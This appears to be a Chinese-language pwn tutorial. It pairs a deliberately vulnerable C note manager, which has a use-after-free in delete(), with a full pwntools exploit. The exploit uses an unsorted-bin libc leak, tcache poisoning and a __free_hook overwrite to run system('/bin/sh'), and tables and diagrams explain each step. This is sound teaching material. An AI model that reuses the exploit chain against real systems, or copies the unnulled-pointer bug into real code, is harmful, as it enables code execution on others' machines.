我們上次講到的uaf是比較基礎的練習題,但是今天我們要說的是要如何在沒有後門的情況下也可以開shell
uaf_adv.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#define MAX_NOTES 8
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void menu() {
puts("1. Add a note");
puts("2. Delete a note");
puts("3. Show a note");
puts("4. Update a note");
puts("5. Exit");
}
char *notes[MAX_NOTES] = {0};
uint32_t note_len[MAX_NOTES] = {0};
int free_index() {
for (int i = 0; i < MAX_NOTES; ++i) {
if (!notes[i]) return i;
}
return -1;
}
void add() {
int index = free_index();
if (index < 0) {
puts("You have too many notes!");
exit(-1);
}
printf("Note size: ");
unsigned int size = 0;
scanf("%u", &size);
getchar();
notes[index] = (char *)malloc(size);
if (!notes[index]) {
perror("malloc");
exit(-1);
}
note_len[index] = size;
printf("Enter your note: ");
fgets(notes[index], size, stdin);
puts("Note added!");
}
void delete() {
int index = 0;
printf("Note index: ");
scanf("%d", &index);
getchar();
if (index >= MAX_NOTES || index < 0) {
puts("Invalid index!");
exit(-1);
}
if (!notes[index]) {
puts("Note not found!");
exit(-1);
}
free(notes[index]);
puts("Note deleted!");
}
void show() {
int index = -1;
printf("Note index: ");
scanf("%d", &index);
getchar();
if (index >= MAX_NOTES || index < 0) {
puts("Invalid index!");
exit(-1);
}
if (!notes[index]) {
puts("Note not found!");
exit(-1);
}
printf("Your note: %s\n", notes[index]);
}
void update() {
int index = -1;
printf("Note index: ");
scanf("%d", &index);
getchar();
if (index >= MAX_NOTES || index < 0) {
puts("Invalid index!");
exit(-1);
}
if (!notes[index]) {
puts("Note not found!");
exit(-1);
}
printf("Enter your new note: ");
fgets(notes[index], note_len[index], stdin);
puts("Note updated!");
}
int main() {
init();
while (1) {
menu();
printf("> ");
int choice;
scanf("%d", &choice);
getchar();
switch (choice) {
case 1:
add();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
update();
break;
case 5:
puts("Bye!");
exit(0);
default:
puts("Invalid choice.");
break;
}
}
return 0;
}
makefile:
uaf_adv: uaf_adv.c
gcc uaf_adv.c -o uaf_adv -fstack-protector-all
exp.py:
from pwn import *
libc = ELF('../share/libc.so.6', checksec=False)
ld_path = "../share/ld-linux-x86-64.so.2"
binary_path = "../share/uaf_adv"
r = process([ld_path, binary_path], cwd="../share")
def add(size, note):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', str(size).encode())
r.sendlineafter(b': ', note)
def delete(idx):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', str(idx).encode())
def show(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', str(idx).encode())
r.recvuntil(b'Your note: ')
leak = r.recvline().strip()
return leak
def update(idx, new):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b': ', str(idx).encode())
r.sendlineafter(b': ', new)
add(0x428, b'a'*8)
add(0x28, b'b'*8)
delete(0)
leak_addr = u64(show(0).ljust(8, b'\x00'))
success(f"Leaked address: {hex(leak_addr)}")
libc_base = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
success(f'libc_base: {hex(libc_base)}')
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
success(f'free hook leak: {hex(free_hook)}')
success(f'system address: {hex(system)}')
add(0x38, b'a' * 8)
add(0x38, b'b' * 8)
delete(2)
delete(3)
update(3, p64(free_hook))
add(0x38, b'c' * 8)
add(0x38, p64(system))
add(0x20, b'/bin/sh\x00')
delete(6)
r.interactive()
分類 | 說明 | ||
---|---|---|---|
漏洞名稱 | Use-After-Free (UAF) | ||
漏洞來源 | delete() 函數在 free 後沒有將 pointer 設為 NULL,造成 freed chunk 仍可透過 show() 或 update() 存取 |
||
程式功能 | Note Manager:新增、刪除、顯示、更新筆記 | ||
漏洞關鍵 | - Use-After-Free (UAF)- Heap manipulation (malloc/free)- Tcache poisoning- Hook overwrite (__free_hook ) |
||
利用流程 Step 1 | 泄露 libc 地址(Unsorted Bin Leak)1. 分配大 chunk (0x428 ) → index 02. 分配小 chunk (0x28 ) → index 13. 刪除大 chunk → 放入 unsorted bin4. show(0) 讀取 fd/bk 指標,計算 libc base |
||
利用流程 Step 2 | Tcache Poisoning 任意寫1. 分配小 chunk (0x38 ) → index 22. 分配小 chunk (0x38 ) → index 33. 刪除 index 2 和 3 → 放入 tcache freelist4. update(3, p64(__free_hook)) → 修改 tcache fd 指向 __free_hook 5. 下次 malloc 會返回 __free_hook 位址 |
||
利用流程 Step 3 | 覆寫 hook 與觸發 system1. malloc → 返回 __free_hook ,寫入 system 地址2. malloc → 建立 chunk,內容為 "/bin/sh" 3. free 該 chunk → 觸發 system("/bin/sh") ,取得 shell |
||
Chunk 對應表 | |||
Index | Chunk Size | Status | 備註 |
0 | 0x428 | freed | 進入 unsorted bin,leak libc |
1 | 0x28 | allocated | 小 chunk,暫未利用 |
2 | 0x38 | freed | 放入 tcache |
3 | 0x38 | freed → tcache fd 指向 __free_hook |
tcache poisoning 目標 |
4 | 0x38 | allocated | malloc 返回 tcache → 寫入任意地址 (__free_hook ) |
5 | 0x38 | allocated | malloc → 寫入 system |
6 | 0x20 | allocated → free | 包含 /bin/sh ,觸發 shell |
Libc Hook 位址 | __free_hook = libc_base + offsetsystem = libc_base + offset |
||
攻擊核心 | 1. UAF 允許修改 freed chunk2. Unsorted-bin leak 泄露 libc base3. Tcache poisoning 取得任意寫4. Hook overwrite → system5. free("/bin/sh") → RCE | ||
利用技術摘要 | - Heap exploitation- UAF → 任意寫入- Libc leak → 計算基址- Tcache freelist manipulation- Hook hijacking (__free_hook ) |
步驟 | 操作 | Index | Chunk Size | 狀態 / 所在位置 | 備註 |
---|---|---|---|---|---|
1 | malloc | 0 | 0x428 | allocated | 大 chunk,用來 leak libc |
2 | malloc | 1 | 0x28 | allocated | 小 chunk,暫未利用 |
3 | free | 0 | 0x428 | freed → unsorted bin | 透過 show(0) 泄露 libc 地址 |
4 | malloc | 2 | 0x38 | allocated | 小 chunk,準備 tcache poisoning |
5 | malloc | 3 | 0x38 | allocated | 小 chunk,準備 tcache poisoning |
6 | free | 2 | 0x38 | freed → tcache | 放入 tcache freelist |
7 | free | 3 | 0x38 | freed → tcache | 放入 tcache freelist |
8 | update | 3 | 0x38 | tcache fd 改為 __free_hook |
tcache poisoning,修改 freelist |
9 | malloc | 4 | 0x38 | allocated | malloc 返回 tcache → 寫入任意地址 (__free_hook ) |
10 | malloc | 5 | 0x38 | allocated | malloc 返回 __free_hook ,寫入 system 地址 |
11 | malloc | 6 | 0x20 | allocated | 建立 chunk,內容為 /bin/sh |
12 | free | 6 | 0x20 | freed → 調用 system("/bin/sh") |
觸發 shell |
Step 1~2: malloc chunks
+---------+ +-----+
| chunk0 | | c1 |
| 0x428 | |0x28 |
+---------+ +-----+
allocated allocated
Step 3: free large chunk → unsorted bin
chunk0 freed → points to main_arena (libc leak)
Step 4~5: malloc small chunks
+----+ +----+
| c2 | | c3 |
|0x38 | |0x38|
+----+ +----+
allocated allocated
Step 6~7: free small chunks → tcache
tcache[0x40]: c3 -> c2 -> NULL
Step 8: update c3 → overwrite fd → __free_hook
tcache[0x40]: __free_hook -> c2 -> NULL
Step 9~10: malloc → get __free_hook → write system
malloc(0x38) → c3' → write __free_hook
malloc(0x38) → c4 → write system
Step 11~12: malloc("/bin/sh") → free → system("/bin/sh")
RCE achieved
Pwned!